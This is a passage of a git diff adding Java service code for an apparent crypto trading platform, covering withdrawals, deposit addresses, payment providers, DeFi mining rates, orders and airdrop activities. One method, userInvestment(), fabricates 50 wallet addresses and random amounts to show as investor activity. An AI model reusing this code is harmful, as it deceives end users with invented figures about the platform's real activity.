+ public TUserBank selectTUserBankById(Long id); + + /** + * 查询银行卡列表 + * + * @param tUserBank 银行卡 + * @return 银行卡集合 + */ + public List selectTUserBankList(TUserBank tUserBank); + + /** + * 新增银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + public int insertTUserBank(TUserBank tUserBank); + + /** + * 修改银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + public int updateTUserBank(TUserBank tUserBank); + + /** + * 批量删除银行卡 + * + * @param ids 需要删除的银行卡主键集合 + * @return 结果 + */ + public int deleteTUserBankByIds(Long[] ids); + + /** + * 删除银行卡信息 + * + * @param id 银行卡主键 + * @return 结果 + */ + public int deleteTUserBankById(Long id); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserCoinService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserCoinService.java new file mode 100644 index 0000000..01703c3 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserCoinService.java @@ -0,0 +1,10 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TUserCoin; + +public interface ITUserCoinService extends IService { + + void removeByUserId(Long userId); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserSymbolAddressService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserSymbolAddressService.java new file mode 100644 index 0000000..526346c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITUserSymbolAddressService.java @@ -0,0 +1,75 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import java.util.List; +import java.util.Map; + +import com.ruoyi.bussiness.domain.TUserSymbolAddress; +import com.ruoyi.bussiness.domain.setting.AssetCoinSetting; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; + +/** + * 用户币种充值地址Service接口 + * + * @author ruoyi + * @date 2023-07-12 + */ +public interface ITUserSymbolAddressService extends IService +{ + /** + * 查询用户币种充值地址 + * + * @param id 用户币种充值地址主键 + * @return 用户币种充值地址 + */ + public TUserSymbolAddress selectTUserSymbolAddressById(Long id); + + /** + * 查询用户币种充值地址列表 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 用户币种充值地址集合 + */ + public List selectTUserSymbolAddressList(TUserSymbolAddress tUserSymbolAddress); + + /** + * 新增用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + public int insertTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress); + + /** + * 修改用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + public int updateTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress); + + /** + * 批量删除用户币种充值地址 + * + * @param ids 需要删除的用户币种充值地址主键集合 + * @return 结果 + */ + public int deleteTUserSymbolAddressByIds(Long[] ids); + + /** + * 删除用户币种充值地址信息 + * + * @param id 用户币种充值地址主键 + * @return 结果 + */ + public int deleteTUserSymbolAddressById(Long id); + + Map getUserRechargeAdressList(Long userId); + + Map getAdredssByCoin(String coin,String symbol,Long userId); + + boolean check(String symbol,String adress); + + ThirdPaySetting getThirdPaySetting(String code); + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITWithdrawService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITWithdrawService.java new file mode 100644 index 0000000..e035fbf --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ITWithdrawService.java @@ -0,0 +1,79 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.vo.WithdrawFreezeVO; +import com.ruoyi.socket.dto.NoticeVO; + +import java.math.BigDecimal; +import java.util.List; + + +/** + * 用户提现Service接口 + * + * @author ruoyi + * @date 2023-07-04 + */ +public interface ITWithdrawService extends IService +{ + /** + * 查询用户提现 + * + * @param id 用户提现主键 + * @return 用户提现 + */ + public TWithdraw selectTWithdrawById(Long id); + + /** + * 查询用户提现列表 + * + * @param tWithdraw 用户提现 + * @return 用户提现集合 + */ + public List selectTWithdrawList(TWithdraw tWithdraw); + + /** + * 新增用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + public int insertTWithdraw(TWithdraw tWithdraw); + + /** + * 修改用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + public int updateTWithdraw(TWithdraw tWithdraw); + + /** + * 批量删除用户提现 + * + * @param ids 需要删除的用户提现主键集合 + * @return 结果 + */ + public int deleteTWithdrawByIds(Long[] ids); + + /** + * 删除用户提现信息 + * + * @param id 用户提现主键 + * @return 结果 + */ + public int deleteTWithdrawById(Long id); + + String submit(BigDecimal amount, String coinType, String pwd, String adress, String coin); + + String rejectOrder(TWithdraw withdraw); + + NoticeVO sendMessage(Integer code, String userId); + + BigDecimal getAllWithdraw(String parentId, Integer type); + + List selectFreezeList(TWithdraw appWithdraw); + + Boolean getWithdrawStatus(long loginIdAsLong); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SettingService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SettingService.java new file mode 100644 index 0000000..68f576a --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SettingService.java @@ -0,0 +1,37 @@ +package com.ruoyi.bussiness.service; + +import com.baomidou.mybatisplus.extension.service.IService; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import org.springframework.cache.annotation.CacheConfig; +import org.springframework.cache.annotation.CacheEvict; +import org.springframework.cache.annotation.Cacheable; + +/** + * 配置业务层 + * + * @author Chopper + * @since 2020/11/17 3:46 下午 + */ + +public interface SettingService extends IService { + + /** + * 通过key获取 + * + * @param key + * @return + */ + Setting get(String key); + + /** + * 修改 + * + * @param setting + * @return + */ + boolean saveUpdate(Setting setting); + + ThirdPaySetting getThirdPaySetting(String code); + +} \ No newline at end of file diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SmsService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SmsService.java new file mode 100644 index 0000000..5b51f8c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/SmsService.java @@ -0,0 +1,7 @@ +package com.ruoyi.bussiness.service; + +import com.ruoyi.bussiness.domain.SendPhoneDto; + +public interface SmsService { + String sendMobileCode(SendPhoneDto mobileNumber); +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayFactory.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayFactory.java new file mode 100644 index 0000000..8d1fe50 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayFactory.java @@ -0,0 +1,27 @@ +package com.ruoyi.bussiness.service; + +import org.springframework.beans.BeansException; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.stereotype.Component; + +import java.util.HashMap; +import java.util.Map; + +@Component +public class ThirdPayFactory implements ApplicationContextAware { + + private static Map thirdPayBeanMap; + + @Override + public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { + Map map = applicationContext.getBeansOfType(ThirdPayService.class); + thirdPayBeanMap = new HashMap<>(); + map.forEach((key, value) -> thirdPayBeanMap.put(value.getName(), value)); + } + + public static T getThirdpay(String name) { + return (T)thirdPayBeanMap.get(name); + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutFactory.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutFactory.java new file mode 100644 index 0000000..0f8826c --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutFactory.java @@ -0,0 +1,27 @@ +package com.ruoyi.bussiness.service; + +import org.springframework.beans.BeansException; +import org.springframework.context.ApplicationContext; +import org.springframework.context.ApplicationContextAware; +import org.springframework.stereotype.Component; + +import java.util.HashMap; +import java.util.Map; + +@Component +public class ThirdPayOutFactory implements ApplicationContextAware { + + private static Map thirdPayOutBeanMap; + + @Override + public void setApplicationContext(ApplicationContext applicationContext) throws BeansException { + Map map = applicationContext.getBeansOfType(ThirdPayOutService.class); + thirdPayOutBeanMap = new HashMap<>(); + map.forEach((key, value) -> thirdPayOutBeanMap.put(value.getName(), value)); + } + + public static T getThirdPayOut(String name) { + return (T)thirdPayOutBeanMap.get(name); + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutService.java new file mode 100644 index 0000000..516e5fa --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayOutService.java @@ -0,0 +1,17 @@ +package com.ruoyi.bussiness.service; + +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TWithdraw; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import org.springframework.stereotype.Service; + +@Service +public interface ThirdPayOutService { + String getName(); + + JSONObject payOut(TWithdraw withdraw, ThirdPaySetting setting); + + + +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayService.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayService.java new file mode 100644 index 0000000..00da943 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/ThirdPayService.java @@ -0,0 +1,18 @@ +package com.ruoyi.bussiness.service; +import com.alibaba.fastjson.JSONObject; +import com.ruoyi.bussiness.domain.TAppRecharge; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import org.springframework.stereotype.Service; + +@Service +public interface ThirdPayService { + String getName(); + //代收 + JSONObject pay(TAppRecharge recharge, ThirdPaySetting setting); + + JSONObject createAdress(String coin ,String symbol,Long userId,ThirdPaySetting setting); + + boolean existAdress(String symbol,String adress,ThirdPaySetting setting); +} + diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiActivityServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiActivityServiceImpl.java new file mode 100644 index 0000000..b5962f4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiActivityServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.DefiActivityMapper; +import com.ruoyi.bussiness.domain.DefiActivity; +import com.ruoyi.bussiness.service.IDefiActivityService; + +/** + * 空投活动Service业务层处理 + * + * @author ruoyi + * @date 2023-08-17 + */ +@Service +public class DefiActivityServiceImpl extends ServiceImpl implements IDefiActivityService +{ + @Autowired + private DefiActivityMapper defiActivityMapper; + + /** + * 查询空投活动 + * + * @param id 空投活动主键 + * @return 空投活动 + */ + @Override + public DefiActivity selectDefiActivityById(Long id) + { + return defiActivityMapper.selectDefiActivityById(id); + } + + /** + * 查询空投活动列表 + * + * @param defiActivity 空投活动 + * @return 空投活动 + */ + @Override + public List selectDefiActivityList(DefiActivity defiActivity) + { + return defiActivityMapper.selectDefiActivityList(defiActivity); + } + + /** + * 新增空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + @Override + public int insertDefiActivity(DefiActivity defiActivity) + { + defiActivity.setCreateTime(DateUtils.getNowDate()); + return defiActivityMapper.insertDefiActivity(defiActivity); + } + + /** + * 修改空投活动 + * + * @param defiActivity 空投活动 + * @return 结果 + */ + @Override + public int updateDefiActivity(DefiActivity defiActivity) + { + defiActivity.setUpdateTime(DateUtils.getNowDate()); + return defiActivityMapper.updateDefiActivity(defiActivity); + } + + /** + * 批量删除空投活动 + * + * @param ids 需要删除的空投活动主键 + * @return 结果 + */ + @Override + public int deleteDefiActivityByIds(Long[] ids) + { + return defiActivityMapper.deleteDefiActivityByIds(ids); + } + + /** + * 删除空投活动信息 + * + * @param id 空投活动主键 + * @return 结果 + */ + @Override + public int deleteDefiActivityById(Long id) + { + return defiActivityMapper.deleteDefiActivityById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiOrderServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiOrderServiceImpl.java new file mode 100644 index 0000000..9270999 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiOrderServiceImpl.java @@ -0,0 +1,114 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.util.List; + +import com.ruoyi.bussiness.domain.DefiOrder; +import com.ruoyi.bussiness.domain.dto.DefiOrderDTO; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.DefiOrderMapper; +import com.ruoyi.bussiness.service.IDefiOrderService; + +/** + * defi订单Service业务层处理 + * + * @author ruoyi + * @date 2023-08-17 + */ +@Service +public class DefiOrderServiceImpl extends ServiceImpl implements IDefiOrderService +{ + @Autowired + private DefiOrderMapper defiOrderMapper; + + /** + * 查询defi订单 + * + * @param id defi订单主键 + * @return defi订单 + */ + @Override + public DefiOrder selectDefiOrderById(Long id) + { + return defiOrderMapper.selectDefiOrderById(id); + } + + /** + * 查询defi订单列表 + * + * @param defiOrder defi订单 + * @return defi订单 + */ + @Override + public List selectDefiOrderList(DefiOrder defiOrder) + { + return defiOrderMapper.selectDefiOrderList(defiOrder); + } + + @Override + public List getOrder(DefiOrder defiOrder) { + return defiOrderMapper.getOrder(defiOrder); + } + + /** + * 新增defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + @Override + public int insertDefiOrder(DefiOrder defiOrder) + { + defiOrder.setCreateTime(DateUtils.getNowDate()); + return defiOrderMapper.insertDefiOrder(defiOrder); + } + + /** + * 修改defi订单 + * + * @param defiOrder defi订单 + * @return 结果 + */ + @Override + public int updateDefiOrder(DefiOrder defiOrder) + { + defiOrder.setUpdateTime(DateUtils.getNowDate()); + return defiOrderMapper.updateDefiOrder(defiOrder); + } + + /** + * 批量删除defi订单 + * + * @param ids 需要删除的defi订单主键 + * @return 结果 + */ + @Override + public int deleteDefiOrderByIds(Long[] ids) + { + return defiOrderMapper.deleteDefiOrderByIds(ids); + } + + /** + * 删除defi订单信息 + * + * @param id defi订单主键 + * @return 结果 + */ + @Override + public int deleteDefiOrderById(Long id) + { + return defiOrderMapper.deleteDefiOrderById(id); + } + + @Override + public BigDecimal getAllAmount(Long id) { + return defiOrderMapper.getAllAmount(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiRateServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiRateServiceImpl.java new file mode 100644 index 0000000..f6f0d11 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/DefiRateServiceImpl.java @@ -0,0 +1,294 @@ +package com.ruoyi.bussiness.service.impl; +import cn.hutool.core.bean.BeanUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; + +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.dto.*; +import com.ruoyi.bussiness.mapper.DefiActivityMapper; +import com.ruoyi.bussiness.mapper.DefiOrderMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.AssetEnum; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.enums.RecordEnum; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.bean.BeanUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.DefiRateMapper; + +import javax.annotation.Resource; + +/** + * defi挖矿利率配置Service业务层处理 + * + * @author ruoyi + * @date 2023-08-17 + */ +@Service +public class DefiRateServiceImpl extends ServiceImpl implements IDefiRateService +{ + @Autowired + private DefiRateMapper defiRateMapper; + @Autowired + private ITAppAddressInfoService appAddressInfoService; + @Autowired + private IDefiOrderService defiOrderService; + @Resource + private IDefiRateService defiRateService; + @Resource + private DefiActivityMapper defiActivityMapper; + @Resource + RedisCache redisCache; + @Resource + private ITAppUserService tAppUserService; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private DefiOrderMapper defiOrderMapper; + /** + * 查询defi挖矿利率配置 + * + * @param id defi挖矿利率配置主键 + * @return defi挖矿利率配置 + */ + @Override + public DefiRate selectDefiRateById(Long id) + { + return defiRateMapper.selectDefiRateById(id); + } + + /** + * 查询defi挖矿利率配置列表 + * + * @param defiRate defi挖矿利率配置 + * @return defi挖矿利率配置 + */ + @Override + public List selectDefiRateList(DefiRate defiRate) + { + return defiRateMapper.selectDefiRateList(defiRate); + } + + @Override + public List selectDefiRateAllList() { + List rtn =new ArrayList<>(); + List defiRates = defiRateMapper.selectAllOrderBy(); + int a = 1; + for (DefiRate defiRate: defiRates ) { + DefiRateDTO defiRateDTO = new DefiRateDTO(); + defiRateDTO.setSort(a); + defiRateDTO.setAmountTotle(defiRate.getMinAmount().setScale(0)+"-"+defiRate.getMaxAmount().setScale(0)); + defiRateDTO.setRate(defiRate.getRate().multiply(new BigDecimal("100")).divide(new BigDecimal(1),2,RoundingMode.HALF_UP)+"%"); + rtn.add(defiRateDTO); + a++; + } + + return rtn ; + } + + /** + * 新增defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + @Override + public int insertDefiRate(DefiRate defiRate) + { + defiRate.setCreateTime(DateUtils.getNowDate()); + return defiRateMapper.insertDefiRate(defiRate); + } + + /** + * 修改defi挖矿利率配置 + * + * @param defiRate defi挖矿利率配置 + * @return 结果 + */ + @Override + public int updateDefiRate(DefiRate defiRate) + { + defiRate.setUpdateTime(DateUtils.getNowDate()); + return defiRateMapper.updateDefiRate(defiRate); + } + + /** + * 批量删除defi挖矿利率配置 + * + * @param ids 需要删除的defi挖矿利率配置主键 + * @return 结果 + */ + @Override + public int deleteDefiRateByIds(Long[] ids) + { + return defiRateMapper.deleteDefiRateByIds(ids); + } + + /** + * 删除defi挖矿利率配置信息 + * + * @param id defi挖矿利率配置主键 + * @return 结果 + */ + @Override + public int deleteDefiRateById(Long id) + { + return defiRateMapper.deleteDefiRateById(id); + } + + @Override + public List userInvestment() { + List result = new ArrayList<>(); + for(int a=0;a<50;a++){ + UserInvestmentDto userInvestmentDto = new UserInvestmentDto(); + String str = "0x"; + String address="*********************************"; + UUID uuid = UUID.randomUUID(); + String randomString = uuid.toString(); + String left = randomString.substring(randomString.length() - 4); + String s1 = randomString.substring(0, 6); + userInvestmentDto.setAddress(str+left+address+s1); + userInvestmentDto.setNum(queryHongBao(0.001,10.00)); + result.add(userInvestmentDto); + } + return result; + } + + @Override + public List getDefiRateByAmount(BigDecimal amount) { + return defiRateMapper.getDefiRateByAmount(amount); + } + + @Override + public UserInvestmentDto getUserShowIncome(Long id) { + UserInvestmentDto userInvestmentDto = new UserInvestmentDto(); + //获取授权数据 + TAppAddressInfo appAddressInfo = appAddressInfoService.selectTAppAddressInfoByUserId(id); + if(appAddressInfo==null){ + return null ; + } + //获取总收入 + BigDecimal allAmount = defiOrderService.getAllAmount(id); + //获取钱包余额 + BigDecimal usdt = appAddressInfo.getUsdt(); + + //获取利率 + List defiRateByAmount = defiRateService.getDefiRateByAmount(usdt); + if(defiRateByAmount==null||defiRateByAmount.size()<1){ + userInvestmentDto.setAmount(usdt); + userInvestmentDto.setTotalProfit(allAmount); + userInvestmentDto.setSingleRate(BigDecimal.ZERO); + userInvestmentDto.setDayRate(BigDecimal.ZERO); + return userInvestmentDto; + } + //获取eth汇率 + BigDecimal ethPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + "eth"); + //防止用户配置错误 这里取了第一个 + DefiRate defiRate = defiRateByAmount.get(0); + //算出返的Usdt + BigDecimal rateAmount = usdt.multiply(defiRate.getRate()); + //算出eth + BigDecimal ethAmount = rateAmount.divide(ethPrice, 6, RoundingMode.HALF_DOWN); + userInvestmentDto.setAmount(usdt); + userInvestmentDto.setTotalProfit(allAmount); + userInvestmentDto.setSingleRate(ethAmount); + userInvestmentDto.setDayRate(ethAmount); + return userInvestmentDto; + } + + @Override + public List getOrder(DefiOrder defiOrder) { + return defiOrderMapper.selectDefiOrderList(defiOrder); + } + + @Override + public List getOrderList(DefiOrder defiOrder) { + List order = defiOrderService.getOrder(defiOrder); + for (DefiOrderDTO dto: order) { + dto.setCreateTimes(dto.getCreateTime().getTime()); + } + return order; + } + + @Override + public List showDefiActivity(Long id) { + List rtn = new ArrayList<>(); + List defiActivities = defiActivityMapper.showDefiActivity(id, 1); + for (DefiActivity defiActivity: defiActivities ) { + DefiActivityDTO defiActivityDTO = new DefiActivityDTO(); + BeanUtil.copyProperties(defiActivity,defiActivityDTO); + defiActivityDTO.setEndTimeS(defiActivity.getEndTime().getTime()); + defiActivityDTO.setBeginTimeS(defiActivity.getCreateTime().getTime()); + rtn.add(defiActivityDTO); + } + return rtn; + } + + @Override + public List showDefiActivityNotice(Long id) { + List rtn = new ArrayList<>(); + List defiActivities = defiActivityMapper.showDefiActivity(id, 0); + for (DefiActivity defiActivity: defiActivities ) { + DefiActivityDTO defiActivityDTO = new DefiActivityDTO(); + BeanUtil.copyProperties(defiActivity,defiActivityDTO); + defiActivityDTO.setEndTimeS(defiActivity.getEndTime().getTime()); + defiActivityDTO.setBeginTimeS(defiActivity.getCreateTime().getTime()); + rtn.add(defiActivityDTO); + } + return rtn; + } + + @Override + public Integer updateDefiActivity(Long id, Integer status) { + if(status==1){ + DefiActivity defiActivity = new DefiActivity(); + defiActivity.setId(id); + defiActivity.setStatus(status); + defiActivityMapper.updateDefiActivity(defiActivity); + }else{ + DefiActivity defiActivity = defiActivityMapper.selectDefiActivityById(id); + if(new Date().after(defiActivity.getEndTime())){ + return 0; + } + + defiActivity.setStatus(status); + Long type = defiActivity.getType(); + String coin =""; + if(type==0){ + coin="usdt"; + }else{ + coin="eth"; + } + TAppAsset tAppAsset = tAppAssetService.getOne(new LambdaQueryWrapper().eq(TAppAsset::getType, AssetEnum.PLATFORM_ASSETS.getCode()).eq(TAppAsset::getUserId, defiActivity.getUserId()).eq(TAppAsset::getSymbol,coin )); + TAppUser tAppUser = tAppUserService.selectTAppUserByUserId(defiActivity.getUserId()); + tAppAssetService.updateTAppAsset(tAppAsset); + appWalletRecordService.generateRecord(defiActivity.getUserId(), defiActivity.getAmount(), RecordEnum.DEFI_ACTIVITY.getCode(), null, "", RecordEnum.CURRENCY_TRADINGADD.getInfo(), tAppAsset.getAmout(), tAppAsset.getAmout().add(defiActivity.getAmount()),coin,tAppUser.getAdminParentIds()); + tAppAsset.setAmout(tAppAsset.getAmout().add(defiActivity.getAmount())); + tAppAsset.setAvailableAmount(tAppAsset.getAvailableAmount().add(defiActivity.getAmount())); + tAppAssetService.updateTAppAsset(tAppAsset); + defiActivityMapper.updateDefiActivity(defiActivity); + } + return 1; + } + + @Override + public void sendApproveHash(AddressHashDTO hash) { + HashMap addressHah = new HashMap(); + addressHah.put(hash.getUserId().toString(),hash.getHash()); + redisCache.setCacheMap("approve",addressHah); + } + + private static BigDecimal queryHongBao(double min, double max) { + Random rand = new Random(); + double result = min + (rand.nextDouble() * (max - min)); + return new BigDecimal(result).setScale(3, RoundingMode.UP); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/FileServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/FileServiceImpl.java new file mode 100644 index 0000000..989cd9f --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/FileServiceImpl.java @@ -0,0 +1,46 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.json.JSONUtil; +import com.ruoyi.bussiness.domain.setting.OssSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.FileService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.common.enums.SettingEnum; +import com.ruoyi.common.utils.AliOssCloudUtil; +import org.springframework.stereotype.Service; +import org.springframework.web.multipart.MultipartFile; + +import javax.annotation.Resource; +import java.io.IOException; +import java.io.InputStream; + +@Service +public class FileServiceImpl implements FileService { + + + @Resource + private SettingService settingService; + + + @Override + public String uploadFileOSS(MultipartFile file, String name) throws IOException { + Setting setting = settingService.get(SettingEnum.OSS_SETTING.name()); + OssSetting ossSetting = JSONUtil.toBean(setting.getSettingValue(), OssSetting.class); + InputStream inputStream = null; + inputStream = file.getInputStream(); + //阿里云的endpoint + String endpoint = ossSetting.getEndPoint(); + //阿里云的accessKeyId + String accessKeyId = ossSetting.getAccessKeyId(); + //阿里云的accessKeySecret + String accessKeySecret = ossSetting.getAccessKeySecret(); + //空间 + String bucketName =ossSetting.getBucketName(); + //文件存储目录 + String filedir = ossSetting.getPicLocation(); + + AliOssCloudUtil util = new AliOssCloudUtil(endpoint,accessKeyId,accessKeySecret,bucketName,filedir); + //上传成功返回完整路径的url + return util.uploadFile2OSS(inputStream, name); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/ITUserCoinServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/ITUserCoinServiceImpl.java new file mode 100644 index 0000000..e27e5b4 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/ITUserCoinServiceImpl.java @@ -0,0 +1,22 @@ +package com.ruoyi.bussiness.service.impl; + +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.TUserCoin; +import com.ruoyi.bussiness.mapper.TUserCoinMapper; +import com.ruoyi.bussiness.service.ITUserCoinService; +import org.springframework.stereotype.Service; + +import javax.annotation.Resource; + +@Service +public class ITUserCoinServiceImpl extends ServiceImpl implements ITUserCoinService { + + + @Resource + TUserCoinMapper tUserCoinMapper; + + @Override + public void removeByUserId(Long userId) { + tUserCoinMapper.removeByUserId(userId); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/KlineSymbolServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/KlineSymbolServiceImpl.java new file mode 100644 index 0000000..3c81541 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/KlineSymbolServiceImpl.java @@ -0,0 +1,93 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.service.IKlineSymbolService; + +/** + * 数据源Service业务层处理 + * + * @author ruoyi + * @date 2023-07-10 + */ +@Service +public class KlineSymbolServiceImpl extends ServiceImpl implements IKlineSymbolService +{ + @Autowired + private KlineSymbolMapper klineSymbolMapper; + + /** + * 查询数据源 + * + * @param id 数据源主键 + * @return 数据源 + */ + @Override + public KlineSymbol selectKlineSymbolById(Long id) + { + return klineSymbolMapper.selectKlineSymbolById(id); + } + + /** + * 查询数据源列表 + * + * @param klineSymbol 数据源 + * @return 数据源 + */ + @Override + public List selectKlineSymbolList(KlineSymbol klineSymbol) + { + return klineSymbolMapper.selectKlineSymbolList(klineSymbol); + } + + /** + * 新增数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + @Override + public int insertKlineSymbol(KlineSymbol klineSymbol) + { + return klineSymbolMapper.insertKlineSymbol(klineSymbol); + } + + /** + * 修改数据源 + * + * @param klineSymbol 数据源 + * @return 结果 + */ + @Override + public int updateKlineSymbol(KlineSymbol klineSymbol) + { + return klineSymbolMapper.updateKlineSymbol(klineSymbol); + } + + /** + * 批量删除数据源 + * + * @param ids 需要删除的数据源主键 + * @return 结果 + */ + @Override + public int deleteKlineSymbolByIds(Long[] ids) + { + return klineSymbolMapper.deleteKlineSymbolByIds(ids); + } + + /** + * 删除数据源信息 + * + * @param id 数据源主键 + * @return 结果 + */ + @Override + public int deleteKlineSymbolById(Long id) + { + return klineSymbolMapper.deleteKlineSymbolById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SettingServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SettingServiceImpl.java new file mode 100644 index 0000000..19d9520 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SettingServiceImpl.java @@ -0,0 +1,50 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.setting.DownloadSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import 